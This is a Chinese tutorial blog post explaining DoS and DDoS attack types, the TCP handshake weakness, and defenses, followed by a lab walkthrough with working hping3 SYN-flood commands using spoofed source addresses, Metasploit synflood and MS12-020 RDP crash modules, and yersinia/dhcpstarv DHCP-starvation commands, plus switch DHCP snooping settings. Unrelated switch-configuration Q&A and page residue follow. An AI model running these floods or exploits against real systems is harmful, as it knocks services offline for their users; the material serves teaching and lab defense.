Dos与DDOS介绍及实例

一、拒绝服务攻击(Dos)

DOS攻击是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务,这是黑客常用的攻击手段之一。这些资源包括磁盘空间、内存、进程甚至网络带宽。
拒绝服务攻击通常是利用传输协议的漏洞、系统存在的漏洞、服务的漏洞,对目标系统发起大规模的攻击,用超出目标系统处理能力的海量数据包消耗可用系统资源、带宽资源等,或造成程序缓冲区溢出错误,致使其无法处理合法用户的正常请求,无法提供正常服务,最终导致网络服务瘫痪,甚至引起系统死机。

1、拒绝服务攻击的分类

实现拒绝服务攻击的方法多种多样,最常见的主要有以下几种。

1.滥用合理的服务请求

过度地请求目标系统的正常服务,占用过多服务资源,导致系统超载,无法响应其他请求。这些服务资源通常包括网络带宽、文件系统空间容量、开放的进程或连接数等。

2.制造大量无用数据

恶意地制造和发送大量各种随机无用的数据包,目的仅在于用这些大量的无用数据占据网络带宽,造成网络拥塞,使正常的通信无法顺利进行。

3.利用传输协议缺陷

利用传输协议上的缺陷,构造畸形的数据包并发送,导致目标主机无法处理,出现错误或崩溃,从而拒绝服务。

4.利用服务程序的漏洞

针对主机上的服务程序的特定漏洞,发送一些有针对性的特殊格式的数据包,导致服务处理错误而拒绝服务。

2、拒绝服务攻击的原理

DoS攻击是利用TCP协议三次握手的缺陷进行的。基于TCP协议的通信在通信之前,首先要协商,这个协商过程就是以三次握手实现的。三次握手流程如下:

第一次握手:建立连接时,客户端发送SYN包((SYN=i)到服务器,并进入SYN SEND状态,等待服务器确认;

第二次握手:服务器收到SYN包,必须确认客户的SYN (ACK=i+1 ),同时自己也发送一个SYN包((SYN=j)}即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ACK=j+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手,客户端与服务器开始传送数据。

当黑客要进行DoS攻击时,他会操纵很多僵尸主机向被攻击的服务器发送SYN数据包,当服务器回复ACK确认包后,僵尸主机不再回应,这样服务器就会保持这个半连接的存在进行等待。每一个这样的半连接都会耗费服务器的资源,如果有数量极大的半连接,服务器就会停止正常工作了。这里在介绍几个相关联的概念:

半连接:收到SYN包而还未收到ACK包时的连接状态称为半连接,即尚未完全完成三次握手的TCP连接。

半连接队列:在三次握手协议中,服务器维护一个半连接队列,该队列为每个客户端的SYN包(SYN=i )开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于SYN_ RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。

Backlog参数:表示半连接队列的最大容纳数目

SYN-ACK重传次数:服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息、从半连接队列中删除。注意,每次重传等待的时间不一定相同

半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时也称半连接存活时间为Timeout时间、SYN_RECV存活时间

3、常见拒绝服务攻击行为特征与防御方法

1.死亡之 Ping(Ping of death)攻击

在早期的阶段,路由器对包的最大大小是有限制的,许多操作系统 TCP/IP 栈规定 ICMP 包的大小限制在 64KB 以内。当发送过来的数据包尺寸大小超过 64KB,就会出现内存分配错误, 导致 TCP/IP 堆栈崩溃,造成接收主机的重启或死机。这就是这种“死亡之 Ping”攻击的原理所在。根据这一攻击原理,黑客们只需不断地通过 Ping 命令向攻击目标主机发送超过64KB的数据包,如果目标主机存在这样一个漏洞,就会缓存溢出,形成一次拒绝服务攻击。 防御方法:现在所有的标准 TCP/IP 协议都已具有对付超过 64KB 大小数据包的处理能力,并且大多数防火墙能够通过对数据包中的信息和时间间隔分析,自动过滤这些攻击。此外,对防火墙进行配置,阻断 ICMP 以及任何未知协议数据包,都可以防止此类攻击发生。

2. SYN 洪水(SYN Flood)

SYN 洪水是当前最流行的 DoS 与 DDoS 的方式之一,这是一种利用 TCP 协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽的攻击方式。

3.Land 攻击

Land 攻击是一种发送源地址和目的地址相同的数据包到服务器的攻击,结果通常使存在漏洞的服务器崩溃。 在 Land 攻击中,一个特别打造的 SYN 包中的源地址和目标地址都被设置成目标主机地址,目标主机在接收到这样的连接请求后,向它自己发送 SYN/ACK 消息,然后又向自己发回 ACK 数据包并创建一个空连接,每一个这样的连接都将保留直到超时掉。这种攻击会使目标主机建立很多无效的连接。 防御方法:这类攻击的检测方法相对来说比较容易,因为它可以直接从判断网络数据包的源地址和目标地址是否相同得出是否属于攻击行为。反攻击的方法当然是适当地配置防火墙设备或包过滤路由器的包过滤规则。并对这种攻击进行审计,记录事件发生的时间,源主机和目标主机的 MAC 地址和 IP 地址,从而可以有效地分析并跟踪攻击者的来源。

4.Smurf 攻击

广播是指信息发送到整个网络中的所有机器上。当某台机器使用广播地址发送一个 ICMP Echo 请求包时(例如 Ping),它就会收到 N 个 ICMP echo 响应包(N 为网络中机器的总数)。当 N 的数目达到一定的时候,产生的应答流将会占用大量的带宽,消耗大量的网络资源。

5.UDP 洪水(UDP Flood)

UDP Flood 主要是利用主机自动回复的服务进行攻击。UDP 协议的 Echo 和 Chargen 服务有一个特性,它们会对发送到服务端口的数据自动进行回复。Echo服务将接收到的数据返回给发送方, 而 Chargen 服务则是在接收到数据后随机返回一些字符。 当有两个或两个以上系统存在这样的服务时,攻击者利用其中一台主机的 Echo 或 Chargen 服务 端口,向另一台主机的 Echo 或 Chargen 服务端口发送数据,Echo 或 Chargen 服务会对发送的数据自动进行回复,这样开启可 Echo 和 Chargen 服务的两台主机就会相互回复数据,一方的输出成为另一方的输入,两台主机间会形成大量往返的无用数据流。

6.IP 源地址欺骗 DOS 攻击

这种攻击利用 IP 头的 RST 位来实现。假设现在有一个合法用户(61.61.61.61)已经同服务器建立了正常的连接,攻击者构造攻击的 TCP 数据,伪装自己的 IP 为 61.61.61.61,并向服务器发送一个带有 RST 位的 TCP 数据包。服务器接收到这样的数据后,认为从 61.61.61.61 发送的连接有错误,就会清空缓冲区中建立好的连接。 这时,如果合法用户 61.61.61.61 再发送合法数据,服务器就已经没有这样的连接了,该用户就必须重新开始建立连接。攻击时,攻击者会伪造大量的源地址为其他用户 IP 地址、RST 位置 1 的数据包,发送给目标服务器,使服务器不对合法用户服务,从而实现了对受害服务器的拒绝服务攻击。

7.电子邮件炸弹

攻击者不停地向用户的邮箱发送大量的邮件,目的是要用垃圾邮件填满用户的邮箱,使正常的邮件因邮箱空间不足而被拒收,这也将不断吞噬邮件服务器上的硬盘空间,使其最后耗尽,无法再对外服务。 防御方法,对邮件地址进行过滤规则配置,自动删除来自同一主机的过量或重复的消息。

二、分布式拒绝服务攻击(DDos)

分布式拒绝服务攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
DDOS是DoS攻击基础之上产生的一种新的攻击方式,利用控制成百上千台肉鸡,组成一个DDOS攻击群,同一时刻对目标发起攻击。Dos是拒绝服务攻击,而DDOS是分布式拒绝服务攻击;DOS与DDOS都是攻击目标服务器、网络服务的一种方式。

1、由来

在早期,拒绝服务攻击主要是针对处理能力比较弱的单机,如个人 PC,或是窄带宽连接的网站, 对拥有高带宽连接高性能设备的网站影响不大。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得拒绝服务攻击攻击的困难度加大。分布式拒绝服务攻击手段应运而生。其破坏性和危害程度更大、涉及范围更广,也更难发现攻击者。 由于被攻击者在同一时间内收到大量数据包不是一台主机发送来的,这使得防御变得非常困难。 同时,因为攻击来自广泛的 IP 地址,而且来自每台主机的数据包数量都不大,因此很有可能从 入侵检测系统(Intrusion Detection System,IDS)的眼皮下溜掉,所以探测和阻止也变得更加困难。

2、DDos的三种攻击方式

1. SYN/ACK Flood攻击

这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK 包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

2. TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的 TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此容易被追踪。

3. 刷Script脚本攻击

这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、 MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数 据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。

3、DDOS防御方法简述

1. 异常流量的清洗过滤:

通过DDOS硬件防火墙对异常流量的清洗过滤,通过数据包的规则过滤、数据流指纹检测过滤及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常,进一步将异常流量禁止过滤。单台负载每秒可防御800-927万个syn攻击包。

2. 分布式集群防御:

这是目前网络安全界防御大规模DDOS攻击的最有效办法。分布式集群防御的特点是在每个节点服务器配置多个IP地址,并且每个节点能承受不低于10G的DDOS攻击,如一个节点受攻击无法提供服务,系统将会根据优先级设置自动切换另一个节点,并将攻击者的数据包全部返回发送点,使攻击源成为瘫痪状态,从更为深度的安全防护角度去影响企业的安全执行决策。

3. 高防智能DNS解析:

高智能DNS解析系统与DDOS防御系统的完美结合,为企业提供对抗新兴安全威胁的超级检测功能。它颠覆了传统一个域名对应一个镜像的做法,智能根据用户的上网路线将DNS解析请求解析到用户所属网络的服务器。同时智能DNS解析系统还有宕机检测功能,随时可将瘫痪的服务器IP智能更换成正常服务器IP,为企业的网络保持一个永不宕机的服务状态。

三、拒绝服务攻击实例演示

1、 利用hping构造数据包进行Dos攻击

1.在 kali 中打开 wireshark,监听网络数据包的传输
在这里插入图片描述
2.在终端输入“hping3 –S –a 1.1.1.1 --flood 192.168.133.128”其中,-S:发送 SYN 数 据包;-a:伪造 IP 地址来源;–flood;只发送数据包,不考虑数据入站回显。在 wireshark 中监控。
在这里插入图片描述
在这里插入图片描述
3.在终端中输入命令“hping3 –S –V --flood --rand-source –c 10000 –d 150 –w 64 – p 80 192.168.133.128”其中, -V 冗余模式; --rand-source 使用随机源 IP 地址;-c: 发送数据包数量;-d 发送每个数据包的大小;-w TCP 窗口的大小;-p 攻击目标端口 可以随 意设置。在 wireshark 中监控。
在这里插入图片描述在这里插入图片描述
4.在终端输入命令“hping3 -c 100000 -S --flood -p 80 -a 1.1.1.1 192.168.133.128”。在 实验中,目标 win7 的 CPU 资源被大量占用。
在这里插入图片描述在这里插入图片描述
注:Hping 是用于生成和解析 TCP/IP 数据包的开源工具,目前最新版是 hping3,hping 是安全 审计、防火墙测试等工作的常用工具。

2、 使用 Meteasploit 进行 SynFlood 攻击

1.在 kali 主机中打开 wireshark,监听网络数据包的传输。
在这里插入图片描述2.Msfconsole
在这里插入图片描述3.Use auxiliary/dos/tcp/synflood
Set rhost 192.168.133.128
Set rport 135
Set shost 61.61.61.61 //设置虚构的 IP 地址
在这里插入图片描述
4.Exploit
在这里插入图片描述
5.Kali 中打开 Wireshark 监听
在这里插入图片描述

3、 测试攻击dhcp服务器

Yesinia 是国外一款专门针对交换机执行第二层攻击的一个底层协议攻击的入侵检测工具,该 工具主要是针对交换机上运行的一些网络协议进行攻击,如生成树协议(STP)、CDP、DHCP 等。 Yesinia 可以根据攻击者的需要和网络协议自身存在的漏洞,通过伪造一些特定的协议信息或 协议包来实现对这些网络协议的破坏以达到攻击目的。

(1)构造 DHCP 服务器,把租约时间设置最短,如 1 分钟 。
(2)DoS 攻击:对 DHCP 服务器发送 DISCOVER 包,耗尽 DHCP 地址池内的所有有效的 IP 地址。
1.在 kali 中输入:“yersinia dhcp -attack 1 –i eth0”
在这里插入图片描述
2.在 kali 中输入:“yersinai –G”,启动图形化界面,单击“launch attack ”按钮,然后 选择 DHCP,有 4 种攻击方式:
Sending RAW packet:发送原始数据包
Sending DISCOVER packet:发送请求获取 IP 地址数据包,占用所有 IP 地址,造成拒绝服务
Creating DHCP rogue server:创建虚假 DHCP 服务器,让用户连接,真正的 DHCP 服务器无法工作
Sending RELEASE packet:发送释放 IP 地址请求到 DHCP 服务器,致使正在使用的 IP 地址全部失效。
这里我们选择 2,win7 中输入 ipconfig/release 释放,1 分钟后再执行 ipconfig/renew,则发现命令无效,证明 dhcp 服务器已经被攻击并不能提供服务。
在这里插入图片描述附: dhcp攻击
yersinia dhcp (还有其他协议可以攻击) -i eth0 -attack 0/1/2/3
在 DHCP 中实施攻击:
0:非 DOS 攻击发送 RAW 包。发送原始数据包
1:DOS 攻击发送 DISCOVER 包 耗尽 dhcp 池内的 ip 地址
2:非 DOS 攻击创建 DHCP 流氓服务器 耗尽 dhcp 池类的地址 自己做 dhcp 地址池分配 ip
3:DOS 攻击发送释放包
耗尽 dhcp 池内的 ip 地址
使用 yersinia
yersinia dhcp -i eth0 -attack 1
使用 dhcpstarv
dhcpstarv -i eth0 -e 192.168.177.128
防御 防止 dhcp 地址池 ip 耗尽
开启 ip dhcp snooping enable
ip dhcp snooping vlan 设置监听的 vlan
*可选
*记录非法信息功能 ip dhcp snooping blocked record enable
*端口开启记录 ip dhcp snooping blocked record interval default
*就可以 show ip dh snooping blocked all 看见非法报文 dhcp 每秒收包数
ip dhcp snooping limit-rate 5
设置 trust 口 就是连接 dhcp 服务器的端口
如果使用了交换机 dhcp 功能 就选择一个在 vlan 里的端口设置为 trust 口或者起一个 lo 口 来设置 dhcp trust 口
默认交换机其他端口都为 untrust 每秒收包数达到我们设置的包后 就会 shutdown 抑制 DHCP 广播报文
ip dhcp broadcast suppress

防御 ip dhcp 服务器伪造
开启 dhcp 广播抑制 并把 dhcp 报文发给 trust 端口
ip dhcp snooping broadcast suppress
设置 DHCP Snooping 检测到伪装 Server 报文时的自定义动作
DCRS-5650(config-if-port-range)#ip dhcp snooping action shutdown

4、 利用系统漏洞进行拒绝服务攻击

1.Nessus 扫描找到利用 MS12-020 漏洞 。
2.Msfconsole
在这里插入图片描述
3.Search ms12-020
在这里插入图片描述4.Use auxiliary/dos/windows/rdp/ms12-020_maxchannelids
在这里插入图片描述
5.Set RHOST 192.168.111.129
在这里插入图片描述
6.Exploit
在这里插入图片描述
如果攻击成功则显示 seems down ,被攻击 win7 出现蓝屏
在这里插入图片描述
仅供学习参考,切勿恶意用途!

  • 2
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 您可以使用命令行界面或者Web界面对DCRS进行配置。对于名称的配置,您可以使用命令行界面中的hostname命令或者Web界面中的System Name进行配置。对于各接口IP地址的配置,您可以使用命令行界面中的interface命令或者Web界面中的Interface Configuration进行配置。具体的操作步骤可以参考设备的用户手册。 ### 回答2: 要对DCRS(三层交换机)的名称和各个接口的IP地址进行配置,可以按照以下步骤进行操作: 1. 连接至DCRS交换机:使用串口、Telnet或SSH协议等方法与DCRS交换机建立连接。 2. 登录到DCRS交换机:输入用户名和密码,登录到DCRS交换机的命令行界面。 3. 配置交换机名称:通过以下命令来配置交换机名称: Switch(config)#hostname 新的名称 4. 配置接口IP地址:根据需要配置各个接口的IP地址,可以使用以下命令进行配置: Switch(config)#interface 接口名称 Switch(config-if)#ip address IP地址 子网掩码 例如,要配置接口GigabitEthernet1/0/1的IP地址为192.168.1.1,子网掩码为255.255.255.0,可以使用以下命令: Switch(config)#interface GigabitEthernet1/0/1 Switch(config-if)#ip address 192.168.1.1 255.255.255.0 5. 验证配置结果:使用以下命令来验证配置结果: Switch#show running-config interface 接口名称 例如,要验证接口GigabitEthernet1/0/1的IP地址配置结果,可以使用以下命令: Switch#show running-config interface GigabitEthernet1/0/1 通过以上步骤,你可以对DCRS交换机的名称和各个接口的IP地址进行配置。记得保存配置,确保配置生效。请根据实际需要进行相应的配置调整。 ### 回答3: 对于DCRS(三层交换机)的名称和各接口的IP地址进行配置,首先需要了解以下几个步骤: 1. 登陆交换机控制台:使用正确的用户名和密码登陆到DCRS的管理控制台。 2. 进入全局配置模式:输入“configure terminal”命令进入全局配置模式,该模式下可以对交换机进行全局配置。 3. 配置交换机名称:使用命令“hostname [交换机名称]”设置交换机的名称。例如,如果要将交换机名称设置为“DCRS1”,则输入“hostname DCRS1”。 4. 配置接口IP地址:使用命令“interface [接口名称]”进入相应的接口配置模式。例如,如果要配置接口GigabitEthernet1/0/1的IP地址,则输入“interface GigabitEthernet1/0/1”。 5. 配置接口IP地址和子网掩码:在接口配置模式下,使用命令“ip address [IP地址] [子网掩码]”配置接口的IP地址和子网掩码。例如,如果要将接口GigabitEthernet1/0/1的IP地址设置为192.168.1.1,子网掩码设置为255.255.255.0,则输入“ip address 192.168.1.1 255.255.255.0”。 6. 确认配置并保存:在完成所有接口的IP地址配置后,输入“end”命令退出接口配置模式,并输入“copy running-config startup-config”命令将配置保存到闪存中,以便下次启动时自动加载。 完成以上步骤后,你已经成功配置了DCRS(三层交换机)的名称和各接口的IP地址。记得保存配置并进行必要的测试,以确保配置正确并正常工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值